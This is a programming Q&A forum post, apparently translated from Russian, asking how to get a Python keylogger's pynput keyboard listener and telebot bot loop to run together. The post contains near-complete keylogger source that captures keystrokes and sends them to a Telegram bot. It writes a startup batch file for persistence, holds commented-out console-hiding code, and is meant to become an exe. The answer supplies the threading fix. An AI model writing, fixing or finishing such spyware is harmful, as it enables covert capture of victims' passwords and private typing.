Are the listeners interfering with each other?

Question

Python

Good day, I decided to write a small Python keylogger and noticed that the listener from the pynput module interferes with the telebot listener, The question is how can I run this code in one file?

import pynput
import requests
from pynput.keyboard import Key, Listener
import getpass
import ctypes
import os
import win32process

#hwnd = ctypes.windll.kernel32.GetConsoleWindow()
#if hwnd != 0:
#    ctypes.windll.user32.ShowWindow(hwnd, 0)
#    ctypes.windll.kernel32.CloseHandle(hwnd)
#    _, pid = win32process.GetWindowThreadProcessId(hwnd)
#    os.system('taskkill /PID ' + str(pid) + ' /f')

USER_NAME = getpass.getuser()

def add_to_startup(file_path=""):
    if file_path == "":
        file_path = os.path.dirname(os.path.realpath(__file__))
    bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME
    with open(bat_path + '\\' + "open.bat", "w+") as bat_file:
        bat_file.write(r'start "" %s' % file_path)

add_to_startup()

keys = []
token = 'токен'
admin_chat_id = 'айди чата)'

def on_press(key):
  global keys
  keys.append(str(key).replace("'", ''))
  if len(keys) > 30:
    write_file(keys)
    send_log_via_telegram(keys)
    keys = []


def on_release(key):
  pass


def write_file(keys):
  with open('log.txt', "a") as f:
    for k in keys:
      if 'space' in k:
        f.write('\n')
      else:
        f.write(k)




def send_log_via_telegram(keys):
  requests.get(f"https://api.telegram.org/bot{token}/sendMessage?chat_id={admin_chat_id}&text={''.join(keys)}")

bot = telebot.TeleBot(token)

@bot.message_handler(commands=['start'])
def start_message(message):
  doc = open('log.txt', 'rb')
  bot.send_document(chat_id, doc)

@bot.message_handler(commands=['del'])
def start_message(message):
  os.remove("win32.exe")

bot.polling()
# вот тут два слушателя мешаются друг другу , если начинает работать слушатель бота , то перестает работать слушатель pynput
with Listener(on_press=on_press, on_release=on_release) as listener:
  listener.join()

in the future it is planned to turn the file into an exe

Answer 1

Run in different threads.
bot.polling() starts an infinite loop and never exits because it is LISTENING.

PS

"кейлоггер" ахахха. Стыдно